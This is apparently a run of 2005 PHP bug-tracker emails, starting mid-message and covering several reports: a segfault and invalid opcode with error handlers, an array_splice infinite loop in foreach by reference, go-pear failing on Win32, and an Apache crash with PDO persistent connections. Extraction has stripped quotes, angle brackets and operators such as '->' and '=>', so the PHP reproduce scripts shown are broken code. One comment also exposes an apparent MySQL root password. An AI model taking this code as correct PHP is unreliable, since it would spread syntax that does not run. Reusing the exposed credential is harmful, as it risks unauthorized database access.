Fatal error: Uncaught exception 'Exception' in test2.php:6
Stack trace:
#0 test2.php(11): TC-afunc()
#1 {main}
thrown in test2.php on line 6
Actual result:
--
cat test1.php | php -n -a produces:
Interactive mode enabled
NULL
Fatal error: Invalid opcode 137/1/8. in - on line 14
and test2:
Interactive mode enabled
NULL
Fatal error: Call to a member function afunc() on a non-object in
/home/lod/ecouch/full/objects/- on line 14
--
Edit this bug report at http://bugs.php.net/?id=35360edit=1
#35437 [NEW]: Segfault or Invalid Opcode 137/1/4
From: me at dither dot spb dot ru
Operating system: WinXPSP2, Fedora Core 3
PHP version: 5.1.0
PHP Bug Type: Reproducible crash
Bug description: Segfault or Invalid Opcode 137/1/4
Description:
PHP 5.1 Final Release.
(built: Nov 23 2005 23:59:35)
Easy repoducible segfault or Invalid opcode 137/1/4 Fatal Error.
Reproduce code:
---
?php
function err2exception($errno, $errstr)
{
throw new Exception(Error occuried: . $errstr);
}
set_error_handler('err2exception');
class TestClass
{
function testMethod()
{
//$GLOBALS['t'] = 'test';
$GLOBALS['t'] = new stdClass;
}
}
TestClass::testMethod();
?
Expected result:
PHP Should cause Strict level Notice Non-static method
TestClass::testMethod() should not be called statically, and after what
error_handler err2exception() must be executed.
Finally, it must be an Uncaught exception 'Exception' with message 'Error
occuried: Non-static method TestClass::testMethod() should not be called
statically'.
Actual result:
--
Segfault.
Uncommenting line //$GLOBALS['t'] = 'test' causes Invalid opcode 137/1/4
Fatal Error.
Commenting both $GLOBALS lines completly fixes bug.
Marking method testMethod() as static (... static function testMethod()
...) fixes bug too, but no exception will be thrown.
--
Edit bug report at http://bugs.php.net/?id=35437edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=35437r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=35437r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=35437r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=35437r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=35437r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=35437r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=35437r=needscript
Try newer version: http://bugs.php.net/fix.php?id=35437r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=35437r=support
Expected behavior: http://bugs.php.net/fix.php?id=35437r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=35437r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=35437r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=35437r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=35437r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=35437r=dst
IIS Stability: http://bugs.php.net/fix.php?id=35437r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=35437r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=35437r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=35437r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=35437r=mysqlcfg
#35438 [NEW]: array_splice resetting loop index when in function
From: csaba at alum dot mit dot edu
Operating system: Win XP Pro
PHP version: 5CVS-2005-11-28 (snap)
PHP Bug Type: Scripting Engine problem
Bug description: array_splice resetting loop index when in function
Description:
I apologize in advance if this is not a bug, but I've narrowed it down as
far as I can and can't see the problem, so here goes...
I have an array that essentially contains the results of a (BFS) breadth
first search, a recursive directory listing. I want to represent the
heirarchical nature of the listing which means that I want the results of
the BFS converted to a DFS (depth first search) format. I accomplish this
by means of a double loop. The actual transpositioning of the array
elements happens by means of a double array_splice: Use an inner
array_splice to cut out a single entry (which returns that entry) and then
splice that in using the outer array_splice. In fact, this works when the
code is implemented at the top level.
However, if I encapsulate the code in a function which passes $aDir by
reference, and then call the function, I wind up in an infinite loop. The
double splice is performed just fine, but then outer loop counter ($i)
resets upon the next pass through the foreach, whereas this does not
happen if the code is not encapsulated within a function.
After spending some time on this, I can't spot the reason. Now I know all
bets are off you are modifying the array (which is the reason for the
advance apology), but the behaviour difference of top level vs. function
seemed interesting enough to warrant a report. I can additionally say
that this is specific to foreach and pass by reference. If I replace the
foreach with a
for ($i=0;$isizeof($aDir);++$i) {
$file = $aDir[$i];
then the code works as expected.
Also, if I keep the foreach but declare the bfs2dfs with
function bfs2dfs ($aDir) {
then the code also works as expected.
It is only the pass by reference, foreach version that goes into the
infinite loop.
Sincerely,
Csaba Gabor from Vienna
Reproduce code:
---
$aDir = array(B/, file, B/C/);
var_dump($aDir); print br\n;
bfs2dfs($aDir);
function bfs2dfs($aDir) {
foreach ($aDir as $i = $file) {
print $i: $filebr\n;
$slashPos = strlen($file)-1; // final slash pos
while (($slashPos = strrpos($file, /,
$slashPos-strlen($file)-1))!==false)
if (($key=array_search($common=substr($file,
0,$slashPos+1),$aDir))!==false) {
for ($j=$key+1;$j$i;++$j)
if ($common!=substr($aDir[$j],0,
$slashPos+1))
break;
array_splice($aDir, $j, 0,
array_splice($aDir, $i, 1));print after
splice with (i, j,
file) .
as ($i, $j, $file)br\n;
var_dump($aDir);
print br\n;
continue 2; }}
}
The idea behind this code is that we march through the array and each time
we encounter a file or dir, we move it to be the last child (of already
encountered children) of the most immediate (already encountered)
ancestor.
We do this by peeling off lower level subdirectories one after another
(that's what the while does) and see if what remains has already been
encountered (that's what the first if tests), hence processed. If so, we
march forward from that point (the for loop), checking to see (the second
if) when we are no longer a descendent of this ancestor. That gives the
position to insert the current file, which is done by means of the double
array_splice.
Again, if I comment out the function definition line and its closing '}'
and the bfs2dfs($aDir) call, the code works as expected. If the foreach
is replace by a for, the code works as expected, and if the function
declares $aDir by value instead of $aDir by ref, the code also works as
expected.
Expected result:
array(3) { [0]= string(2) B/ [1]= string(4) file [2]= string(4)
B/C/ }
0: B/
1: file
2: B/C/
after splice with (i, j, file) as (2, 1, B/C/)
array(3) { [0]= string(2) B/ [1]= string(4) B/C/ [2]= string(4)
file }
Actual result:
--
exactly the same as with the expected result, but then it continues
looping infinitely with the following:
0: B/
1: B/C/
after splice with (i, j, file) as (1, 1, B/C/)
array(3) { [0]= string(2) B/ [1]= string(4) B/C/ [2]= string(4)
file }
The interesting thing here is not the infinite loop, but the fact that the
loop counter ($i) reset to 0.
--
Edit bug report at http://bugs.php.net/?id=35438edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=35438r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=35438r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=35438r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=35438r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=35438r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=35438r=needtrace
Need Reproduce
#35328 [Com]: go-pear fails on Win32
ID: 35328
Comment by: maratd at gmail dot com
Reported By: [EMAIL PROTECTED]
Status: Feedback
Bug Type: *General Issues
Operating System: win32
PHP Version: 5.1.0
Assigned To: cellog
New Comment:
That is the exact MD5 I have and it does not work. I have all the paths
set in Windows and in php.ini
Does not work as described above. Just for reference I'm on Windows
2003 Server, but that shouldn't make a dif.
- Marat
Previous Comments:
[2005-11-28 05:16:44] [EMAIL PROTECTED]
Thanks for your patience. I've tried in vain to reproduce this with
the current go-pear.phar, so I would like you to please verify:
php -r echo md5_file('go-pear.phar');
should be:
ad41e53e594b7197c7a81e72e14be31a
[2005-11-28 03:17:26] chris at lodesys dot com
Just tried http://snaps.php.net/win32/php5-win32-latest.zip and
go-pear.phar from http://pear.php.net/go-pear.phar. Still failing.
[2005-11-28 01:43:01] [EMAIL PROTECTED]
Please try using this CVS snapshot:
http://snaps.php.net/php5-latest.tar.gz
For Windows:
http://snaps.php.net/win32/php5-win32-latest.zip
when you do this, please grab go-pear.phar directly from
http://pear.php.net/go-pear.phar - and please do this no sooner than 1
hour after this message, as pear.php.net is synced once per hour with
cvs
[2005-11-28 01:16:23] [EMAIL PROTECTED]
I've got the problem, and it will be fixed pretty soon, then I close
this
[2005-11-25 19:42:13] michel dot zehnder at proact-it dot ch
Fails with released 5.1.0 on Win32, too.
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/35328
--
Edit this bug report at http://bugs.php.net/?id=35328edit=1
#35415 [Com]: Apache crash with persistent connection
ID: 35415
Comment by: kuprishuz at gmail dot com
Reported By: gm at html dot it
Status: Feedback
Bug Type: PDO related
Operating System: Linux Fedora Core 4
PHP Version: 5.1.0
New Comment:
description:
---
i have encountered the same problem, it appears that apache will crash
when an invalid sql call is used in conjunction with persistent
connections.
reproduce code:
---
keep in mind the sql statement must be incorrect to produce a crash.
crash will also occur when using $database-query as an alternative to
$database-prepare.
?php
$database = new PDO('mysql:host=localhost;dbname=nitelife', 'root',
'Quell26A', array(PDO::ATTR_PERSISTENT = true));
$query = $database-prepare(SELECT * FROM user WHERE id = ?);
if ($query-execute(array('1'))) {
while ($row = $query-fetch(PDO::FETCH_ASSOC)) {
print_r($row);;
}
}
?
Expected Result:
---
sql call to fail and an error message retrievable from
$query-errorInfo()
Actual Result:
---
Apache crash
Previous Comments:
[2005-11-27 14:00:56] [EMAIL PROTECTED]
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php
Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.
[2005-11-27 09:57:23] gm at html dot it
Nothing has changed, always the same apache crash and the same error in
error.log
[Sun Nov 27 09:55:53 2005] [notice] child pid 2260 exit signal
Segmentation fault (11)
[2005-11-27 01:12:38] [EMAIL PROTECTED]
Please try using this CVS snapshot:
http://snaps.php.net/php5-latest.tar.gz
For Windows:
http://snaps.php.net/win32/php5-win32-latest.zip
If you're still able to reproduce it - please provide GDB backtrace.
[2005-11-27 01:11:04] gm at html dot it
Description:
The code reported causes an apache crash.
It happens only with persistent connection, if i set
PDO::ATTR_PERSISTENT = false, the script works fine.
Reproduce code:
---
?php
try {
$dbo = new PDO(
'mysql:host=localhost;dbname=test',
'user',
'pass',
array(PDO::ATTR_PERSISTENT = true)
);
} catch(PDOException $e) {
echo 'Errore di connessione: '.$e-getMessage();
}
$pdostatement = $dbo-prepare('SELECT * FROM fake_table');
$pdostatement-execute();
echo 'print something';
?
Expected result:
The script should just print out 'print something'.
Actual result:
--
Apache crash, this is the error in apache error.log:
Sun Nov 27 00:48:48 2005] [notice] child pid 3051 exit signal
Segmentation fault (11)
--
Edit this bug report at http://bugs.php.net/?id=35415edit=1
#35328 [Fbk]: go-pear fails on Win32
ID: 35328
Updated by: [EMAIL PROTECTED]
Reported By: [EMAIL PROTECTED]
Status: Feedback
Bug Type: *General Issues
Operating System: win32
PHP Version: 5.1.0
Assigned To: cellog
New Comment:
Please try using this CVS snapshot:
http://snaps.php.net/php5-latest.tar.gz
For Windows:
http://snaps.php.net/win32/php5-win32-latest.zip
extensive research has resulted in discovery of the source of the
problem. Please try again with http://pear.php.net/go-pear.phar or CVS
version of go-pear.phar (cvs.php.net pearweb/public_html/go-pear.phar),
which should have md5sum of
d278e13f4928445bcead3ec5fa769154
Previous Comments:
[2005-11-28 06:26:53] maratd at gmail dot com
That is the exact MD5 I have and it does not work. I have all the paths
set in Windows and in php.ini
Does not work as described above. Just for reference I'm on Windows
2003 Server, but that shouldn't make a dif.
- Marat
[2005-11-28 05:16:44] [EMAIL PROTECTED]
Thanks for your patience. I've tried in vain to reproduce this with
the current go-pear.phar, so I would like you to please verify:
php -r echo md5_file('go-pear.phar');
should be:
ad41e53e594b7197c7a81e72e14be31a
[2005-11-28 03:17:26] chris at lodesys dot com
Just tried http://snaps.php.net/win32/php5-win32-latest.zip and
go-pear.phar from http://pear.php.net/go-pear.phar. Still failing.
[2005-11-28 01:43:01] [EMAIL PROTECTED]
Please try using this CVS snapshot:
http://snaps.php.net/php5-latest.tar.gz
For Windows:
http://snaps.php.net/win32/php5-win32-latest.zip
when you do this, please grab go-pear.phar directly from
http://pear.php.net/go-pear.phar - and please do this no sooner than 1
hour after this message, as pear.php.net is synced once per hour with
cvs
[2005-11-28 01:16:23] [EMAIL PROTECTED]
I've got the problem, and it will be fixed pretty soon, then I close
this
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/35328
--
Edit this bug report at http://bugs.php.net/?id=35328edit=1
